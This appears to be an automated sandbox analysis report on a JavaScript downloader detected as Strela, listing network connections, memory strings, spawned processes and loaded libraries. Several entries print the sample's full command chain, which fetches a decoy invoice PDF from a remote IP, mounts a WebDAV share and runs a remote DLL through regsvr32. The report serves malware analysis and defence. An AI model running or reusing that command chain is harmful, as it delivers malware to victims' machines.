Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1481792219.00000231C22E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1547267888.000001CA08527000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545345669.000001CA08548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558598612.000001CA0854A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558394810.000001CA08527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000007.00000003.1547267888.000001CA08527000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558394810.000001CA08527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tK
Source: svchost.exe, 00000009.00000002.2778886790.000002097FCA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1549032653.000002097FA10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5197307041739714413.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vrglafk.uss.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,5951722315745381644,10775437152461943238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,5951722315745381644,10775437152461943238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
